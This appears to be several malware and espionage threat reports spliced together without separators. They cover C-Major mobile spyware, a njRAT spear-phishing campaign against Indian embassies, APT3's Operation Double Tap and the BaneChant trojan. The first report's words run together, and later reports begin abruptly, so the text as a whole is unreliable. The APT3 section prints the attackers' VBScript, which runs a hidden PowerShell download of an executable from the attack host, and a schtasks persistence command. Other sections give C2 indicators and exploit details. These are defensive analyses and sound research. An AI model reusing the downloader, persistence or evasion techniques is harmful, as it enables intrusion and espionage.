IndianSenaNewsandIndiaDefenseNewsApps Threefakenewsapps,IndianSenaNews,BharatiyaSenaNewsandIndiaDefenseNews(IDN)were advertisedonFacebook.
Priortobeingclosed,theIDNnewsFacebookpagehadmorethan1,200likes fromFacebookmembersthathavesomerelationtotheIndiaarmy.
Likewise,theBharatiyaSenaNews pagehad3,300pagelikes.
TheseappsarecapableofstealingSMS,makingvideos,recordingcalls, sendingscreenshots,andstealingfiles.
Figure4.FacebookpageofthefakeIndiaDefenseNewsapp http://blog.trendmicro.com/trendlabs-security-intelligence/operation-c-major-actors-also-used-android-blackberry-mobile-spyware-targets/indiannews_fig4/ 5/19/2016 TrendLabs Security Intelligence BlogOperation C-Major Actors Also Used Android, BlackBerry Mobile Spyware Against Target http://blog.trendmicro.com/trendlabs-security-intelligence/operation-c-major-actors-also-used-android-blackberry-mobile-spyware-t 6/11 Figure5.FacebookpageofthefakeBharatiyaSenaNewsapp Figure6.ScreenshotofIndianSenaNewsapp http://blog.trendmicro.com/trendlabs-security-intelligence/operation-c-major-actors-also-used-android-blackberry-mobile-spyware-targets/senanewsapp_fig5/ http://blog.trendmicro.com/trendlabs-security-intelligence/operation-c-major-actors-also-used-android-blackberry-mobile-spyware-targets/indiansenapp_fig6/ 5/19/2016 TrendLabs Security Intelligence BlogOperation C-Major Actors Also Used Android, BlackBerry Mobile Spyware Against Target http://blog.trendmicro.com/trendlabs-security-intelligence/operation-c-major-actors-also-used-android-blackberry-mobile-spyware-t 7/11 Figure7.ScreenshotofIDNnewsapp BlackBerrymalware ItisnosurprisethattheactorsbehindCMajoralsousedBlackBerrymalwareintheiroperation.
BlackBerryingeneralhasbeenusedalotbygovernmentagencies,probablyincludingtheIndian military.
Asmentionedearlier,thesamplewefoundisspywareforBlackBerrythathassimilarto StealthGeniescapabilities.
ItcanexfiltrateGPSlocation,emailaddress,emails,contacts,calendardata, deviceidentifiers,andusersstoredphotos.
Theapplicationalsohastheabilitytointerceptemail,phone calls,MMS,andSMSmessages.
Asfarasweknow,theBlackBerrymalwarewasneveravailableonBlackBerryWorld.
Mostlikelysocial engineeringwouldbeneededtogetthemalwareinstalledonvictimsphones.
Conclusion ThoughtheCMajoroperatorsdontseemtohaveadvancedskills,thedamagetheypotentiallyhave causedissignificant.
OftentheirCCserversliveformorethanayearandinsomecasesevenseveral years.
TheymanagetokeepmaliciousappsonGooglePlayformonthsandstealsignificantdatafrom highprofiletargetsbeforetheappsareflaggedandremoved.
Aswehavepreviouslynoted,althoughC http://blog.trendmicro.com/trendlabs-security-intelligence/operation-c-major-actors-also-used-android-blackberry-mobile-spyware-targets/idnapp_fig7/ 5/19/2016 TrendLabs Security Intelligence BlogOperation C-Major Actors Also Used Android, BlackBerry Mobile Spyware Against Target http://blog.trendmicro.com/trendlabs-security-intelligence/operation-c-major-actors-also-used-android-blackberry-mobile-spyware-t 8/11 Majordidntuseadvancedmalwareorexploits,thereisnoreasonwhytheywouldntcontinuetodevelop themselvestomoreskilledattackersinthefuture.
Withthisinmind,wewillfollowtheirfutureactivities closely.
TrendMicroMobileSecurityprotectsusersAndroiddevicesandstopsthreatsbeforetheyreachthem.
TrendMicroMobileSecurityoffersprotectionanddetectsthesemalwareusingthecloudbasedSmart ProtectionNetworkandMobileAppReputationtechnology.
SHA1sforrelatedfiles: Smeshapp 24f52c5f909d79a70e6e2a4e89aa7816b5f24aec 202f11c5cf2b9df8bf8ab766a33cd0e6d7a5161a 31ac19091fd5347568b130d7150ed867ffe38c28 6919aa3a9d5e193a1d48e05e7bf320d795923ea7 c48a5d639430e08980f1aeb5af49310692f2701b 1ce6b3f02fe2e4ee201bdab2c1e4f6bb5a8da1b1 59aec5002684de8cc8c27f7512ed70c094e4bd20 552e3a16dd36ae4a3d4480182124a3f6701911f2 Ringster c544e5d8c6f38bb199283f11f799da8f3bb3807f a13568164c0a8f50d76d9ffa6e34e31674a3afc8 Androrat 9288811c9747d151eab4ec708b368fc6cc4e2cb5 94c74a9e5d1aab18f51487e4e47e5995b7252c4b decf429be7d469292827c3b873f7e61076ffbba1 f86302da2d38bf60f1ea9549b2e21a34fe655b33 IndiaSenaNews b142e4b75a4562cdaad5cc2610d31594d2ed17c3 BlackBerryspyware abcb176578df44c2be7173b318abe704963052b2 16318c4e4f94a5c4018b05955975771637b306b4  http://www.trendmicro.com/us/home/products/mobile-solutions/iphone-ipad-security/ http://cloudsecurity.trendmicro.com/us/technology-innovation/our-technology/smart-protection-network/ 5/19/2016 TrendLabs Security Intelligence BlogOperation C-Major Actors Also Used Android, BlackBerry Mobile Spyware Against Target http://blog.trendmicro.com/trendlabs-security-intelligence/operation-c-major-actors-also-used-android-blackberry-mobile-spyware-t 9/11 RelatedPosts: IndianMilitaryPersonnelTargetedbyOperationCMajorInformationTheftCampaign GermanUsersHitByDirtyMobileBankingMalwarePosingAsPayPalApp Tags:bogusappsOperationCmajortargetedattackcampaign Commentsforthisthreadarenowclosed.
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1/19/2017 Uri Terror attack  Kashmir Protest Themed spear phishing emails targeting Indian Embassies and Indian Ministry of external affairs cysinfo.com/uri-terror-attack-spear-phishing-emails-targeting-indian-embassies-and-indian-mea/ In my previous blog I posted details of a cyber attack targeting Indian government organizations.
This blog post describes another attack campaign where attackers used the Uri terror attack and Kashmir protest themed spear phishing emails to target officials in the Indian Embassies and Indian Ministry of External Affairs (MEA).
In order to infect the victims, the attackers distributed spear-phishing emails containing malicious word document which dropped a malware capable of spying on infected systems.
The email purported to have been sent from legitimate email ids.
The attackers spoofed the email ids associated with Indian Ministry of Home Affairs to send out email to the victims.
Attackers also used the name of the top-ranking official associated with Minister of Home affairs in the signature of the email, this is to make it look like the email was sent by a high-ranking Government official associated with Ministry of Home Affairs (MHA).
Overview of the Malicious Emails In the The first wave of attack, The attackers spoofed an email id that is associated with Indian Ministry of Home Affairs (MHA) and an email was sent on September 20th, 2016 (just 2 days after the Uri terror attack) to an email id associated with the Indian Embassy in Japan.
The email was made to look like as if an investigation report related to Uri terror attack was shared by the MHA official.
This email contained a malicious word document (Uri Terror Report.doc) as shown in the below screen shot On Sept 20th,2016 similar Uri Terror report themed email was also sent to an email id connected with Indian embassy in Thailand.
This email was later forwarded on Oct 24th,2016 from a spoofed email id which is associated with Thailand Indian embassy to various email recipients connected to the Indian Ministry of External Affairs as shown in the below screen shot.
This email also contained the same malicious word document (Uri Terror Report.doc) 1/14 https://cysinfo.com/uri-terror-attack-spear-phishing-emails-targeting-indian-embassies-and-indian-mea/ https://cysinfo.com/malware-actors-using-nic-cyber-security-themed-spear-phishing-target-indian-government-organizations/ https://en.wikipedia.org/wiki/2016_Uri_attack https://en.wikipedia.org/wiki/2016_Kashmir_unrest https://cysinfo.com/wp-content/uploads/2017/01/1.png https://cysinfo.com/wp-content/uploads/2017/01/2.png https://cysinfo.com/wp-content/uploads/2017/01/3.png https://cysinfo.com/wp-content/uploads/2017/01/4.png https://cysinfo.com/wp-content/uploads/2017/01/5.png https://cysinfo.com/wp-content/uploads/2017/01/6.png https://cysinfo.com/wp-content/uploads/2017/01/7.png https://cysinfo.com/wp-content/uploads/2017/01/8.png https://cysinfo.com/wp-content/uploads/2017/01/9.png https://cysinfo.com/wp-content/uploads/2017/01/10.png https://cysinfo.com/wp-content/uploads/2017/01/11.png https://cysinfo.com/wp-content/uploads/2017/01/12.png https://cysinfo.com/wp-content/uploads/2017/01/13a.png https://cysinfo.com/wp-content/uploads/2017/01/13b.png https://cysinfo.com/wp-content/uploads/2017/01/14.png https://cysinfo.com/wp-content/uploads/2017/01/15.png https://cysinfo.com/wp-content/uploads/2017/01/16.png https://cysinfo.com/wp-content/uploads/2017/01/17a.png https://cysinfo.com/wp-content/uploads/2017/01/17b.png https://cysinfo.com/wp-content/uploads/2017/01/17c.png https://cysinfo.com/wp-content/uploads/2017/01/18.png https://cysinfo.com/wp-content/uploads/2017/01/19.png https://cysinfo.com/wp-content/uploads/2017/01/20.png https://cysinfo.com/wp-content/uploads/2017/01/21a.png https://cysinfo.com/wp-content/uploads/2017/01/22.png https://cysinfo.com/wp-content/uploads/2017/01/23a.png In the second wave of attack slightly different theme was used, this time attackers used the Jammnu  Kashmir protest theme to target the victims.
In this case Attackers again spoofed an email id associated with Indian Ministry of Home Affairs and the mail was sent on September 1,2016 to an email id associated Thailand Indian embassy, this email was later forwarded on Oct 24th,2016 from a spoofed email of Thailand Indian embassy to various email recipients connected to the Indian Ministry of External Affairs (MEA).
This time the email was made to look like an investigation report related to Jammu  Kashmir protest was shared by the Ministry of Home Affairs Official and the forwarded email was made to look like the report was forwarded by an Ambassador in Thailand Indian embassy to the MEA officials.
This email contained a different malicious word document (mha-report.doc) as shown in the below screen shot.
From the emails (and the attachments) it looks like the goal of the attackers was to infect and take control of the systems and also to spy on the actions of the Indian Government post the Jammu  Kashmir protest and Uri Terror attack.
Analysis of Malicious Word Documents 2/14 https://en.wikipedia.org/wiki/2016_Kashmir_unrest When the victim opens the attached word document it prompts the user to enable macro content and both the documents (Uri Terror Report.doc and mha-report.doc) displayed the same content and contained a Show Document button as shown below In case of both the documents (Uri Terror Report.doc and mha-report.doc) the malicious macro code was heavily obfuscated(used obscure variable/function names to make analysis harder) and did not contain any auto execute functions .
Malicious activity is trigged only on user interaction, attackers normally use this technique to bypass sandbox/automated analysis.
Reverse engineering both the word documents (Uri Terror Report.doc  mha- report.doc) exhibited similar behaviour except the minor difference mentioned below.
In case of mha-report.doc the malicious activity triggered only when the show document button was clicked, when this event occurs the macro code calls a subroutine CommandButton1_Click() which in turn calls a malicious obfuscated function (Bulbaknopka()) as shown in the below screen shot.
In case of Uri Terror Report.doc the malicious activity triggered when the document was either closed or when the show document button was clicked, when any of these event occurs a malicious obfuscated function (chugnnarabashkoim()) gets called as shown below.
3/14 The malicious macro code first decodes a string which contains a reference to the pastebin url.
The macro then decodes a PowerShell script which downloads base64 encoded content from the pastebin url.
Below screen shot shows the network traffic generated as a result of macro code executing the PowerShell script.
Below screen shot shows the malicious base64 encoded content hosted on that pastebin link.
4/14 The base64 encoded content downloaded from the Pastebin link is then decoded to an executable and dropped on the system.
The technique of hosting malicious code in legitimate sites like Pastebin has advantages and it is highly unlikely to trigger any suspicion in security monitoring and also can bypass reputation based devices.
Below screen shot shows the file (officeupdate.exe) decoded and dropped on the system.
The dropped file was determined as modified version of njRAT trojan.
The dropped file ( officeupdate.exe) is then executed by the macro code using the PowerShell script.
njRAT is a Remote Access Tool (RAT) used mostly by the actor groups in the middle east.
Once infected njRAT communicates to the attacker and allows the attacker to log keystrokes, upload/download files, access victims web camera, audio recording, steal credentials, view victims desktop, open reverse shell etc.
The njRAT attacker control 5/14 panel and the features in the attacker control panel is shown in the below screen shot.
Analysis of the Dropped Executable (officeupdate.exe) The dropped file was analyzed in an isolated environment (without actually allowing it to connect to the c2 server).
This section contains the behavioral analysis of the dropped executable Once the dropped file (officeupdate.exe) is executed the malware drops additional files (googleupdate.exe, malib.dll and msccvs.dll) into the AllUsersProfile\Google directory and then executes the dropped googleupdate.exe The malware then communicates with the C2 server (khanji[.]ddns[.
]net) on port 5555 6/14 C2 Communication Pattern Upon execution malware makes a connection to the c2 server on port 5555 and sends the system  operating system information along with some base64 encoded strings to the attacker as shown below.
Below is the description of the strings passed in the C2 communication WIN-T9UN4HIIHEC - is the hostname of the infected system Administrator - is the username 16-12-04 - is the infection date No - Indicates that the system has no camera The below screen shot shows the base64 decoded strings associated with the C2 communication Below is the description of the decoded strings 7/14 1302_E63C5C8F - is the botID_volume-serial-number Process Hacker [WIN-T9UN4HIIHEC\Administrator] - Reports open window, In my case I was using a tool called Process Hacker, The information on the open window lets the attacker know what tools are running on the system or if analysis tools are used to inspect the malware.
C2 Domain Information This section contains the details of the C2 domain (khanji[.]ddns[.
]net).
Attackers used the DynamicDNS to host the C2 server, this allows the attacker to quickly change the IP address in real time if the malware C2 server infrastructure is unavailable.
The C2 domain  was associated with multiple IP addresses in past as shown below During the timeline of this cyber attack most of these IP addresses were located in Pakistan and few IP addresses used the hosting provider infrastructure as shown in the screen shot below 8/14 Below screenshot shows the timeline when these IP addresses were active.
The C2 domain (khanji[.]ddns[.
]net) was also found to be associated with multiple malware samples in the past, Some of these malware samples made connection to pastebin urls upon execution, which is similar to the behavior mentioned previously.
9/14 Threat Intelligence Based on the base64 encoded content posted in the Pastebin, userid associated with the Pastebin post was determined.
The same user posted multiple similar posts most of them containing similar base64 encoded content (probably used by the malwares in other campaigns to decode and drop malware executable), these posts were made between July 21st, 2016 to September 30, 2016.
Below screen shot shows the posts made by the user, the hits column in the below screen shot gives an idea of number of times the links were visited (probably by the malicious macro code), this can give rough idea of the number of users who are probably infected as a result of opening the malicious document.
10/14 Below screen shot shows one of the post containing base64 encoded data made by the user on Sept 26th,2016 Doing a Google search for the Pastebin userid landed me on a YouTube video posted by an individual demonstrating his modified version of njRAT control panel/builder kit.
The Pastebin userid matched with the Email ID mentioned by this individual in the YouTube video description section as shown below.
This individual also used a specific keyword in his Skype id, Twitter id, and the YouTube username.
This same keyword was also found in the njRAT C2 communication used in this attack as shown below.
11/14 After inspecting the njRAT builder kit it was determined that this individual customized the existing njRAT builder kit to bypass security products.
The product information in the builder kit matched with this individuals YouTube username and the YouTube channel.
The njRAT used in this cyber attack was built from this builder kit.
Based on this information it can be concluded that espionage actors used this individuals modified version of njRAT in this cyber attack.
Even though this individuals email id matched with the Pastebin id where base64 encoded malicious code was found, it is hard to say if this individual was or was not involved in this cyber attack.
It could be possible that the espionage actors used his public identity as a diversion to mislead and to hide the real identity of the attackers or it is also possible that this individual was hired to carry out the attack.
Indicators Of Compromise The indicators are provided below, these indicators can be used by the organizations (Government, Public and Private organizations) to detect and investigate this attack campaign.
Dropped Malware Samples: 14b9d54f07f3facf1240c5ba89aa2410  (googleupdate.exe) 2b0bd7e43c1f98f9db804011a54c11d6  (malib.dll) feec4b571756e8c015c884cb5441166b  (msccvs.dll) 84d9d0524e14d9ab5f88bbce6d2d2582  (officeupdate.exe) Network Indicators Associated with C2: 12/14 khanji[.]ddns[.
]net 139[.]190[.]6[.
]180 39[.]40[.]141[.
]25 175[.]110[.]165[.
]110 39[.]40[.]44[.
]245 39[.]40[.]67[.
]219 119[.]160[.]68[.
]178 175[.]107[.]13[.
]215 39[.]47[.]125[.
]110 175[.]107[.]5[.
]247 175[.]107[.]6[.
]174 182[.]191[.]90[.
]91 175[.]107[.]7[.
]50 182[.]191[.]90[.
]92 175[.]107[.]7[.
]69 39[.]47[.]84[.
]127 192[.]169[.]136[.
]121 155[.]254[.]225[.
]24 203[.]31[.]216[.
]214 45[.]42[.]243[.
]20 Pastebin URLs Hosting Malicious Payload: hxxp://pastebin.com/raw/5j4hc8gT hxxp://pastebin.com/raw/6bwniBtB Related Malware Samples associated with C2 (khanji[.]ddns[.
]net): 028caf3b1f5174ae092ecf435c1fccc2 7732d5349a0cfa1c3e4bcfa0c06949e4 9909f8558209449348a817f297429a48 63698ddbdff5be7d5a7ba7f31d0d592c 7c4e60685203b229a41ae65eba1a0e10 e2112439121f8ba9164668f54ca1c6af 784b6e13f195236304e1c172dcdab51f b0f0350a5c2480d8419d14ec3445b765 9a51db9889d4fd6d02bdb35bd13fb07e 8199667bad5559ee8f04fd6b1a587a75 7ad6aaa107a7616a3dbe8e3babf5d310 Conclusion Attackers in this case made every attempt to launch a clever attack campaign by spoofing legitimate email ids and using an email theme relevant to the targets.
The following factors in this cyber attack suggests the possible involvement of Pakistan state sponsored cyber espionage group to mainly spy on Indias actions related to these Geo-political events (Uri terror attack and Jammu  Kashmir protests).
Victims/targets chosen (Indian Embassy and Indian MEA officals) Use of Email theme related to the Geo-political events that is of interest to the targets Timing of the spear phishing emails sent to the victims Location of the C2 infrastructure Use of malware that is capable of spying on infected systems 13/14 The following factors show the level of sophistication and reveals the attackers intention to remain stealthy and to gain long-term access by evading anti-virus, sandbox and security monitoring at both the desktop and network levels.
Use of obfuscated malicious macro code Use of macro code that triggers only on user intervention (to bypass sandbox analysis) Use of legitimate site (Pastebin) to host malicious code (to bypass security monitoring) Use of customized njRAT (capable of evading anti-virus) Use of Dynamic DNS to host C2 infrastructure I would like to thank Brian Rogalski who after reading my previous blog post shared a malicious document which he thought was similar to the document mentioned in my previous blog.
This malicious document shared by Brian triggered this investigation and helped me in identifying the related Emails and related documents associated with this cyber attack.
References https://www.zscaler.com/blogs/research/njrat-h-worm-variant-infections-continue-rise http://threatgeek.typepad.com/files/fta-1009njrat-uncovered-1.pdf https://www.eff.org/files/2013/12/28/quantum_of_surveillance4d.pdf https://www.symantec.com/connect/blogs/simple-njrat-fuels-nascent-middle-east-cybercrime-scene Follow us on Twitter: monnappa22 cysinfo22 14/14 https://twitter.com/br0g_RE https://cysinfo.com/malware-actors-using-nic-cyber-security-themed-spear-phishing-target-indian-government-organizations/ https://cysinfo.com/malware-actors-using-nic-cyber-security-themed-spear-phishing-target-indian-government-organizations/ https://twitter.com/monnappa22 https://twitter.com/cysinfo22 Uri Terror attack  Kashmir Protest Themed spear phishing emails targeting Indian Embassies and Indian Ministry of external affairs
Operation Double Tap APT3 (also known as UPS), the actors responsible for Operation Clandestine Fox has quietly continued to send waves of spearphishing messages over the past few months.
This actor initiated their most recent campaign on November 19, 2014 targeting multiple organizations.
The attacker leveraged multiple exploits, targeting both CVE-2014-6332 and CVE-2014-4113.
CVE-2014-6332 was disclosed publicly on 2014-11-11 and is a Windows OLE Automation Array Remote Code Execution vulnerability.
CVE-2014- 4113 is a privilege escalation vulnerability that was disclosed publicly on 2014-10-14.
The use of CVE-2014-6332 is notable, as it demonstrates that multiple classes of actors, both criminal and APT alike, have now incorporated this exploit into their toolkits.
Further, the use of both of these two known vulnerabilities in tandem is notable for APT3.
This actor is historically known for leveraging zero- day vulnerabilities in widespread but infrequent phishing campaigns.
The use of known exploits and more frequent attacks may indicate both a shift in strategy and operational tempo for this group.
The Spearphish The body of the message is below: One Months Free Membership for The PLAYBOY ClUB 1080P HD VIDEOS 100,000 PHOTOS 4,000  MODELS Nude Celebrities,Playmates,Cybergirls  More Click hxxp://join.playboysplus.com/signup/ To Get a Free Plus Member Now  Never Miss Another Update.
Your Member referrals must remain active.
If anyone getting Promotion not available for 1 month free membership, you might get the issue up to 48 hrs once your membership is expired and make sure to Clear out cookies or use another browser or use another PC.
The webpage contained both CVE-2014-6332 exploit code and a VBScript that invoked PowerShell on the affected users system to download the below payload: function runmumaa() On Error Resume Next set shellcreateobject(Shell.
Application) shell.
ShellExecute powershell.exe,-NoLogo -NoProfile                 -NonInteractive -WindowStyle Hidden ( New-Object System.
Net.
WebClient).DownloadFile(http://www.playboysplus.com https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html https://technet.microsoft.com/en-us/library/security/ms14-064.aspx https://technet.microsoft.com/en-us/library/security/ms14-058.aspx https://www.fireeye.com/blog/threat-research/2014/10/two-targeted-attacks-two-new-zero-days.html /install/install.exe,install.exe)Invoke-Item install.exe, ,         open, 1 end function The CVE-2014-6332 exploit code seen in this incident is derived from the code published at http://www.exploit-db.com/exploits/35230/, which has also been incorporated in the Metasploit project.
The Downloader After the exploit or script executes, the system downloads install.exe, which has the following metadata: MD5             5a0c4e1925c76a959ab0588f683ab437 Size            46592 bytes Compile Time    2014-11-19 08:55:10Z Import Hash     6b8611f8148a6b51e37fd68e75b6a81c The file install.exe attempts to write two files (doc.exe and test.exe) to the hard-coded path C:\Users\Public, which fails on Windows XP because that path is not present by default.
The first dropped file, doc.exe, contains the CVE-2014-4113 exploit and then attempts to execute test.exe with the elevated privileges.
These files have the following metadata: doc.exe (x86): MD5           492a839a3bf9c61b7065589a18c5aa8d Size          12288 bytes Import Hash   9342d18e7d315117f23db7553d59a9d1 doc.exe (x64): MD5           744a17a3bc6dbd535f568ef1e87d8b9a Size          13824 bytes Compile Time  2014-11-19 08:25:45Z Import Hash   2fab77a3ff40e4f6d9b5b7e813c618e4 test.exe: http://www.exploit-db.com/exploits/35230/ MD5           5c08957f05377004376e6a622406f9aa Size          11264 bytes Compile Time  2014-11-18 10:49:23Z Import Hash   f34d5f2d4577ed6d9ceec516c1f5a744 These payload files also have interesting PDB debug strings.
install.exe: c:\Users\aa\Documents\Visual Studio 2008\Projects\MShell\Release        \MShell.pdb doc.exe: c:\Users\aa\Documents\Visual Studio 2008\Projects\4113\Release            \4113.pdb test.exe: C:\Users\aa\Documents\Visual Studio 2010\Projects\MyRat\Client\Client \obj\x86\Release\Client.pdb The most interesting PDB string is the 4113.pdb, which appears to reference CVE-2014-4113.
This CVE is a local kernel vulnerability that, with successful exploitation, would give any user SYSTEM access on the machine.
The malware component, test.exe, uses the Windows command cmd.exe /C whoami to verify it is running with the elevated privileges of System and creates persistence by creating the following scheduled task: schtasks /create /tn mysc /tr C:\Users\Public\test.exe /sc ONLOGON     /ru System When executed, the malware first establishes a SOCKS5 connection to 192.157.198.103 using TCP port 1913.
The malware sends the SOCKS5 connection request 05 01 00 and verifies the server response starts with 05 00.
The malware then requests a connection to 192.184.60.229 on TCP port 81 using the command 05 01 00 01 c0 b8 3c e5 00 51 and verifies that the first two bytes from the server are 05 00 (c0 b8 3c e5 is the IP address and 00 51 is the port in network byte order).
Once the connection to the server is established, the malware expects a message containing at least three bytes from the server.
These first three bytes are the command identifier.
The following commands are supported by the malware: Command ID Description 00 00 00 Content after command ID is written to: C:\Users\ [Username]\AppData\Local\Temp\notepad1.exe 00 00 01 Deletes the files: C:\Users\ [Username]\AppData\Local\Temp\notepad.exe C:\Users\ [Username]\AppData\Local\Temp\newnotepad.exe 00 00 02 Malware exits 00 00 03 Malware downloads the URL that follows the command ID.
The file is saved to: C:\Users\ [Username]\AppData\Local\Temp\notepad.exe 00 00 04 Content after command ID is written to: C:\Users\ [Username]\AppData\Local\Temp\notepad2.exe 00 00 05 The files notepad1.exe and notepad2.exe are concatenated together and written to C:\Users\ [Username]\AppData\Local\Temp\newnotepad.exe and executed 00 00 06 The contents of the following file is sent to the server: C:\Users\ [Username]\AppData\Local\Temp\note.txt 00 00 07 The string following the command ID is executed using cmd /C and results are sent to server Links to APT3 On October 28, we observed APT3 sending out spearphishing messages containing a compressed executable attachment.
The deflated exe was a variant of the same downloader described above and connected to 198.55.115.71 over port 1913 via SOCKS5 proxy.
The secondary payload in that case was detected as Backdoor.
APT.CookieCutter (aka Pirpi) and also named newnotepad.exe (MD5 8849538ef1c3471640230605c2623c67) and connected to the known APT3 domains: inform.bedircati[.
]com pn.lamb-site[.
]com 210.109.99.64 The 192.184.60.229 IP address seen in this current campaign also hosts securitywap[.
]com  another known domain referenced in our Operation Clandestine Fox blog.
DOMAIN FIRST SEEN LAST SEEN IP ADDRESS securitywap.com 2014-11-17 2014-11-20 192.184.60.229 www.securitywap.com 2014-11-17 2014-11-20 192.184.60.229 In addition, the join.playboysplus[.
]com exploit and payload delivery site resolves to 104.151.248.173.
This IP has hosted other domains used by APT3 in past campaigns: DOMAIN FIRST SEEN LAST SEEN IP ADDRESS join.playboysplus[.
]com 2014-11-21 2014-11-21 104.151.248.173 walterclean[.
]com 2014-11-18 2014-11-20 104.151.248.173 www.walterclean[.
]com 2014-11-18 2014-11-20 104.151.248.173 As we discussed in our previous blog detailing previous APT3 activity, the walterclean[.
]com served as a Plugx/Kaba command and control server.
Conclusion Although APT3 is well known for employing zero-day exploits in their attacks, recent activity has demonstrated that they will also attack targets with known exploits or social engineering.
Since Operation Clandestine Fox, we have observed this actor execute multiple attacks that did not rely on zero-day exploits.
The combination of this sustained operational tempo and lack of zero-day exploits may indicate that this group has changed strategy and has decided to attack more frequently and does not have steady access to zero-day exploit code.
No matter the strategy, this actor has shown an ability to operate successfully.
IOCs for this threat can be found here.
https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html https://github.com/fireeye/iocs/tree/master/APT3
Trojan.
APT.BaneChant: In-Memory Trojan That Observes for Multiple Mouse Clicks Summary Last December, our senior malware researcher (Mr. Abhishek Singh) posted an article about a Trojan which could detect mouse clicks to evade sandbox analysis.
Interestingly, we have found another spear phishing document that downloads malware which incorporates improved mouse click detection anti- sandboxing capability.
It also leverages multiple advanced evasion techniques to achieve stealth and persistent infection.
The name of malicious document is translated to be Islamic Jihad.doc.
Hence, we suspect that this weaponized document was used to target the governments of Middle East and Central Asia.
This new malware is significant for several reasons: It detects multiple mouse clicks: In the past, evasion methods using mouse clicks only detected a single click, making the malware fairly easy to  overcome.
The callback goes to a legitimate URL: Often when malware performs its callback, the communication goes directly to the CnC server.
In this case, the callback goes to a legitimate URL shortening service, which would then redirect the communication to the CnC server.
Automated blocking technologies are likely to block only the URL shortening service and not the CnC server.
It has anti-forensic capability: This malware doesnt kick into high gear immediately.
Instead it requires an Internet connection for malicious code to be downloaded to the memory and executed.
Unlike predecessors that are very obvious and immediately get to work, this malware is merely a husk and its true malicious intent could only be found in the downloaded code.
This prevents forensic investigators from extracting the true malicious code from the disk.
Overall, this malware was observed to send information about the computer and set up a backdoor for remote access.
This backdoor provides the attacker the flexibility on how malicious activities could be executed.
Technical Analysis: How Does it Work?
After opening this malicious document, it attempts to download an XOR encoded binary (using a two byte XOR key) for the stage one payload.
It was also observed that the attacker leveraged a shortened URL to hide malicious domains from automated analysis technologies.
After investigation, the malicious domain was analyzed to be recently registered.
See Figure 1 for the first stage download scenario.
Figure 1 Stage One Download The attacker has designed the stage one malware to be merely a husk.
Having the decrypted executable file alone would not be useful in understanding its intent.
It is because a majority of the malicious code is only available after downloading the second stage payload.
The second stage payload was available as a fake JPEG file from the malicious server.
By designing the malware this way, it makes it harder to perform incidence response and facilitates ease of update of malicious code.
Again, in this second stage download, the malicious domain was not found in the malware.
It made use of the dynamic DNS service provided by NO-IP to indirectly access the malicious domain.
See Figure 2 for the second stage download scenario.
The technical details of each component (shellcode and payload) will be further elaborated.
http://www.fireeye.com/blog/wp-content/uploads/2013/03/1.Stage1_.jpg Figure 2 Stage Two Download Shellcode Analysis The spear phishing document was in RTF format which as designed loads MSCOMCTL.ocx and exploits CVE 2012-0158.
By executing return at 0x27606EFF, it will load EIP with address 0x27583C30 which is translated to be JMP ESP to execute shellcode in the stack.
See the figure below.
http://www.fireeye.com/blog/wp-content/uploads/2013/04/2.Stage2_.jpg Figure 3 Stack Corruption To JMP ESP Like most modern shellcode, its stub decrypts its body using a simple XOR key (see Figure 4).
By stepping through the shellcode, it attempts to download hxxp://ow.ly/iGKKT and saves it to the temp directory with a file name prefixed with moo, e.g., moo1.tmp (see Figure 5).
It is important to note that ow.ly is not a malicious domain.
Instead, it is a URL shortening server.
It is believed that the rational for such indirect access is to defeat automated URL blacklisting.
Figure 6 depicts how a malicious URL could be shortened using this service.
http://www.fireeye.com/blog/wp-content/uploads/2013/03/3.ExploitingMSCOMCTL.jpg Figure 4 Single Byte XOR Key 0xF1 Figure 5 URLDownloadToFileA Figure 6 URL Shortening Service From the network traffic, it is obvious that the real malicious content is located at hxxp://symbisecure.com/update/winword.pkg (see Figure 7).
As an excecutable file usually contains many zeros in series, the zeros would become the XOR key when XOR encoded.
For example, 0xAA xor 000 equals to 0xAA.
By examining the content using a hex editor, it is obvious that there are many 9E 44 repeated.
Hence, by trying 0x449E (little endian) as an XOR key, it would reveal that it is a PE file.
At http://www.fireeye.com/blog/wp-content/uploads/2013/03/4.Shellcode.jpg http://www.fireeye.com/blog/wp-content/uploads/2013/03/5.URLDownloadToFile.jpg http://www.fireeye.com/blog/wp-content/uploads/2013/03/6.ShorternURL.jpg offset zero, it is decrypted to be MZ at offset 0x3C, it is decrypted to be 0x00000E0 and at 0x000000E0, it is decrypted to be PE (see Figure 8).
By generalizing this idea, the single or double byte XOR key can be seen as a dword XOR key as it repeats over itself.
For example, 0x449E XOR key could be seen as 0x449E449E.
By counting the DWORD with the highest occurance, it could be a probable XOR key if the file is XOR encrypted.
This should work for samples that are (1, 2 or 4, but not 3 bytes) XOR encrypted.
Figure 7 Stage 1 Download Content http://www.fireeye.com/blog/wp-content/uploads/2013/03/7.Redirection.jpg Figure 8 Double Byte XOR Encrypted Payload Payload Analysis Even though winword.pkg is an executable husk to host malicious code downloaded at the second stage, it contains a mouse-click check to detect human behaviors.
Only if the number of left clicks is three or more, will the malware proceed further to download the second stage payload  the true malicious code (see Figure 9 and Figure 10).
http://www.fireeye.com/blog/wp-content/uploads/2013/03/8.winword.pkg_.jpg Figure 9 Track Number of Left Clicks Figure 10 Proceed If Left Click Count Is Three Or More After the malware detects sufficient mouse clicks, it proceeds to decrypt its malicious URL to download http://www.fireeye.com/blog/wp-content/uploads/2013/03/9.TrackNumMouseClick.jpg http://www.fireeye.com/blog/wp-content/uploads/2013/03/10.countsMouseClick.jpg the second stage payload (see Figure 11).
By following the TCP stream (see Figure 12) and examining the header of the downloaded JPG file, it is obvious that downloaded content is not a JPEG file.
By doing so, it effectively downloaded an executable content that is not conformed to PE format to defeat network binary extraction.
A legitimate JPG file should contain the byte sequence FFD8FFE0xxxx4A46494600 at offset zero, where 4A464946 corresponds to JFIF.
Below is the hardcoded URL and user-agent that is used by this malware sample.
URL: hxxp://kibber.no-ip.org/adserv/logo.jpg User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV2) Figure 11 Malicious Domain Decryption http://www.fireeye.com/blog/wp-content/uploads/2013/03/11.EncodedMaliciousLogo.jpg Figure 12 Fake JPG After the JPG file is downloaded and executed directly in the memory, it achieves persistency by creating a shortcut link file at the start up folder.
This link file will execute a copy of itself located at C:\ProgramData\Google2\GoogleUpdate.exe (see Figure 13).
It would look legitimate to users as it masquerades as a legitimate Google Updater.
It would appear normal if it attempts to access the Internet.
